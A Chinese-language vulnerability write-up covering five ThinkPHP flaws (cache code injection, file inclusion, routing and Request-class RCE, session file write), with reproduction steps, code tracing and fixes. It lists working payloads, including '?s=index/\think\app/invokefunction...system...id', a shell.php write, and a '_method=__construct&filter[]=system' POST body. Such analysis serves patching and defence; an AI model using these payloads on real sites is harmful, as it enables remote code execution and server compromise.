ThinkPHP 漏洞分析总结(主要RCE和文件

1. ThinkPHP 5.0.10-3.2.3 缓存函数设计缺陷可导致代码执行

0x00 背景

网站为了提高访问效率往往会将用户访问过的页面存入缓存来减少开销。而Thinkphp 在使用缓存的时候是将数据序列化,然后存进一个 php 文件中,这使得命令执行等行为成为可能。

0x01 实验环境

系统环境

服务器主机:centOS 7

php 5.4版本,apache2,ThinkPHP 5.0.10

0x02 漏洞利用

application/index/controller/Index.php 文件中代码更改如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}

访问 http://localhost/tpdemo/public/?username=xxx%0d%0aphpinfo();// ,即可将 webshell 等写入缓存文件。

0x03 漏洞分析

首先,查看缓存调用的方法

跟进set方法,可见此处动态实例化了一个类

从这个代码中我们可以看出来,这里获取外部一个配置的数组然后传
进了方法,而默认的cache.type为“File”,这个方法会根据我们的配置数据来动态的调用类执行不同的缓存操作

查看connect函数,这里通过一系列判断,根据cache.type的值,找到cache驱动为File,对应44行的think\cache\driver\File类。然后在51行进行实例化,并将其return。

跟进到file类的set函数,可以看到 data 数据没有经过任何处理,只是序列化后拼接存储在文件中,这里的 $this->options[‘data_compress’] 变量默认情况下为 false ,所以数据不会经过 gzcompress 函数处理。虽然在序列化数据前面拼接了单行注释符 // ,但是我们可以通过注入换行符绕过该限制。

最后查看一下文件名的生成方法,可以看到文件名是通过调用 getCacheKey 方法获得的。缓存文件的子目录和文件名均和缓存类设置的键有关(如本例中缓存类设置的键为 name )。程序先获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名。如果应用程序还设置了前缀 $this->options[‘prefix’] ,那么缓存文件还将多一个上级目录。

总结一下,在源码中找到Cache::set(name, value, expire),其中缓存文件名是跟name相关联的,因此可以看作是一个已知条件。漏洞的关键点就是是否开启缓存,value是否可控。

0x04 修复方案

从重现过程可以看出,在缓存文件里攻击者通过换行写入了恶意代码。可以参考引用文章中的修复方法:

1,打开文件:thinkphp\library\think\cache\driver\File.php
2,找到:public function set($name, $value, $expire = null) 方法
3,添加:$data = str_replace(PHP_EOL, ”, $data); 即去掉换行。

0x05 参考资料

ThinkPHP 5.0.10-3.2.3 缓存函数设计缺陷可导致 Getshell
Thinkphp缓存函数设计缺陷getshell漏洞重现及分析

2. ThinkPHP 5.x 变量覆盖导致的文件包含&任意代码执行

0x00 背景

影响版本:5.0.0<=ThinkPHP5<=5.0.185.1.0<=ThinkPHP<=5.1.10

ThinkPHP在加载模版解析变量时存在变量覆盖的问题,且没有对 $cacheFile 进行相应的消毒处理,导致模板文件的路径可以被覆盖,从而导致任意文件包含漏洞的发生。

0x01 漏洞复现

环境:centOS 7, php 5.4, ThinkPHP 5.0.10

首先将 application/index/controller/Index.php 文件代码设置如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
public function index()
{
$this->assign(request()->get());
return $this->fetch();
}
}

创建 application/index/view/index/index.html 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马 1.jpg 放至 public 目录下(模拟上传图片操作)。接着访问

1
http://localhost/tp5_10/public/index.php/index/index?cacheFile=1.jpg

链接,即可触发 文件包含漏洞

0x02 漏洞分析

我们可以查看官方更新的commit记录,发现其改进了模板引擎,其中存在危险函数extract,有可能引发变量覆盖漏洞。

程序在一开始会调用 "thinkphp\library\think\Controller.php"文件中的 assign方法,并传入 POST 数组数据, assign方法代码如下,其调用了view类中的assign方法:

查看视图类中的assign方法代码,在"thinkphp\library\think\View.php" 文件中。可以看到该方法用 array_merge方法将 POST 数组数据合并到 $this->data中,代码如下:

接下来查看fetch方法的代码,该方法用于输出模板内容,代码定义在 "thinkphp\library\think\Controller.php"文件中,该方法同样调用的是视图类中的 fetch 方法,代码如下:

视图类中的fetch方法,这里this->data可控,程序调用fetch方法加载模板输出。在默认情况下 $method的值为 fetch ,也就是说调用了视图引擎中的 fetch 方法,该方法在"thinkphp\library\think\view\driver\Think.php" 文件中,这里如果我们没有指定模板名称,其会使用默认的文件作为模板,模板路径类似当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html,如果默认路径模板不存在,程序就会报错。

我们跟进到 Template 类的 fetch 方法,可以发现可控变量 $vars 赋值给$this->data 并最终传入 File 类的 read 方法。而 read 方法中在使用了 extract 函数后,直接包含了 $cacheFile变量。这里就是漏洞发生的关键原因(可以通过 extract 函数,直接覆盖 $cacheFile变量,因为 extract 函数中的参数 $vars可以由用户控制)。

如果目标站点开启了 allow_url_include ,攻击者甚至可以执行任意代码。

0x03 漏洞修复

官方的修复方法是:先将$cacheFile变量存储在$this->cacheFile中,在使用 extract 函数后,最终 include 的变量是 $this->cacheFile,这样也就避免了 include 被覆盖后的变量值。

0x04 参考资料

ThinkPHP5漏洞分析之文件包含

http://www.bubuko.com/infodetail-3516646.html

3. ThinkPHP 5.0.x 未开启强制路由导致的RCE 漏洞分析

0x00 背景

影响版本:(ThinkPHP 5.0.5-5.0.22 || 5.1.0-5.1.30)

漏洞编号:CNVD-2018-24942

此漏洞是因为框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。其中不同版本 payload 需稍作调整:

5.1.x

1
2
3
4
5
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x

1
2
3
4
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

本文是针对ThinkPHP v5.1.x版本的漏洞分析,v5.0.x版本会稍有不同。

0x01 漏洞复现

此处的实验环境为centOS 7,php 5.4,thinkphp 5.1.29

通过给出的POC直接访问url即能触发漏洞

0x02 漏洞分析

首先,默认情况下安装的 ThinkPHP 没有开启强制路由选项,而且默认开启路由兼容模式。

由于没有开启强制路由,说明我们可以使用路由兼容模式 s 参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器,那么我们可以试着利用 http://site/?s=模块/控制器/方法 来测试。我们知道所有用户参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中使用了 call_user_func ,那么我们就来尝试利用这个方法。访问如下链接:

1
http://localhost/?s=index/think\config/get&name=database.username # 获取配置信息

会发现可以成功执行命令。接下来,我们直接在官方修改的 $controller 代码段打下断点。我们可以看到控制器的名字是从 $result 中获取的,而 $result 的值来源于兼容模式下的 pathinfo ,即 s 参数。

接着程序会跳回 App 类的 run 方法,进而调用 Dispatch 类的 run 方法,该方法会调用关键函数 exec ,我们跟进。

exec 函数中,程序利用反射机制,调用类的方法。这里的类、方法、参数均是我们可以控制的。而且整个过程,并没有看到程序对控制器名的合法性进行检测,这也是导致 远程代码执行漏洞 的直接原因。

以上便是本漏洞的分析。综上,由于Windows的原因,所以有一些payload在windows的主机上是不可以利用的。

那么哪些payload是可以兼容多个平台呢?

由于windows自动加载类加载不到想要的类文件,所以能够下手的就是在框架加载的时候已经加载的类。

5.1是下面这些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error
think\Container
think\App
think\Env
think\Config
think\Hook
think\Facade
think\facade\Env
env
think\Db
think\Lang
think\Request
think\Log
think\log\driver\File
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

1
2
3
4
5
6
7
8
9
10
think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

两个版本公有的是:

1
2
3
4
5
6
7
8
9
10
think\Route 
think\Loader
think\Error
think\App
think\Env
think\Config
think\Hook
think\Lang
think\Request
think\Log

0x03 漏洞修复

参考官方文档或直接升级框架版本

0x04 参考资料

https://xz.aliyun.com/t/3570

4. ThinkPHP 5 核心类 Request 远程代码漏洞分析

0x00 背景

Thinphp团队在实现框架中的核心类Requests的method方法实现了表单请求类型伪装,默认为$_POST[‘_method’]变量,却没有对$_POST[‘_method’]属性进行严格校验,可以通过变量覆盖掉Requets类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。

影响版本:ThinkPHP 5.0.x ~ 5.0.23 ThinkPHP 5.1.x ~ 5.1.31 ThinkPHP 5.2.0beta1

0x01 漏洞复现

开启调试模式,位置为application/config.php

Payload如下,通过POST提交触发漏洞

1
2
3
4
5
http://localhost/thinkphp/public/index.php

POST:

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

0x02 漏洞分析

我们知道可以通过http://localhost/public/index.php?s=index的方式通过s参数传递具体的路由,根据入口文件可以直接跟到URL路由检测函数,关键代码如下:

可以看到在进入self::exec($dispatch, $config)前,$dispatch的值是通过

1
$dispatch = self::routeCheck($request, $config)

设置的,这时候如果debug模式开启,就会调用$request->param(),也就是下面exec()中会调用到的函数,经过下面分析就能发现,在debug模式开启时就能直接触发漏洞,原理是一样的。

进入exec()方法:

exec()方法根据$dispatch的值选择进入不同的分支,当进入method分支时,调用Request::instance()->param()方法,跟进param(),看到调用了Request类的method()方法 :

跟进method方法,通过官方的更新文档可知该函数是被改进的内容之一,在这个方法中,如果method等于true,则调用$this->server()方法::

可见server()方法中调用了input()方法,然后调用filterValue()方法。然后filterValue中调用了call_user_func()方法:

如果两个参数均可控,即$filter$value,则会造成命令执行。

那么观察两个参数:

在getFilter()中设置了$filter值:

1
$filter = $filter ?: $this->filter;

也即由$this->filter决定;

$value为第一个参数$data,即为传入数组的值,由$this->server决定。

$method变量是$this->method,其同等于POST的”method”参数值由于$this->method可控,导致可以调用_contruct()覆盖Request类的filter字段。

0x03 漏洞修复

官方的修复方法是:在ThinkPHP5.0.24中,增加了对$this->method的判断,不允许再自由调用类函数。用户应尽快升级版本,并且不要开启debug模式,以免遭受攻击。

0x04 参考资料

ThinkPHP5 核心类 Request 远程代码漏洞分析

THINKPHP 5.0.X-5.0.23、5.1.X、5.2.X 全版本远程代码执行漏洞分析

5. ThinkPHP v6.0.0-v6.0.1任意文件写漏洞分析

0x00 背景

年初,奇安信发布了 ThinkPHP 6.0 “任意”文件创建漏洞安全风险通告

漏洞影响范围:top-think/framework 6.x < 6.0.2

0x01 漏洞利用

首先开启session(重点):

在控制器文件index.php中加入以下代码,作用是用于获取name参数,并将之设置到session中。

1
2
3
4
5
6
use think\facade\Session;
public function index()
{
Session::set('name','thinkphp');
return 1;
}

接下来访问主页,并且抓包修改PHPSESSION:

查看seesion文件夹,已经有php文件存在:

0x02 漏洞分析

参考通告可知是在存储session时导致的文件写入,跟进与session存储有关的函数。在save()方法中,调用了write()方法。

位置:

1
D:\phpstudy_pro\WWW\tp6\vendor\topthink\framework\src\think\session\Store.php

查看write函数,可见在返回值处调用了writeFiles方法,继续跟进:

可见正是将字符串写文件的函数。

我们知道在与文件有关的漏洞中,写入文件的文件名、内容和路径是十分重要的。从write方法中可知本次漏洞的文件名来自于sessionid,而此id来自与一个getId方法,在其之上的setId方法中,当$id的长度为32时,便执行$this->$id赋值。

继续跟踪到调用setId方法的位置,此处的cookieName值为PHPSESSION:

1
D:\phpstudy_pro\WWW\tp6\vendor\topthink\framework\src\think\middleware\SessionInit.php

既然文件名可控,那么文件内容是否可控呢?跟据write方法可知文件内容就是sessData,即写入的内容就是创建session使用的内容。但是session的创建是由实际的后端业务逻辑来决定的,而默认环境下并没有创建session。所以在默认的环境之中,任意写文件是无法实现的。相对的,该漏洞可能造成的任意删除文件操作不需要苛刻的条件。

0x03 漏洞修复

在6.0.2中,对session id使用了ctype_alnum()进行了判断,导致无法传递.等特殊字符,从而无法控制session文件为.php后缀。尽快升级到6.0.2版本以上即可。

0x04 总结

本次漏洞分析的原理方面并不困难,但是在复现的过程中遇到不少坑。除了要提前开启session,各种错误日志也是很有用的。

0x05 参考资料

https://paper.seebug.org/1114/

https://blog.csdn.net/zhangchensong168/article/details/104106869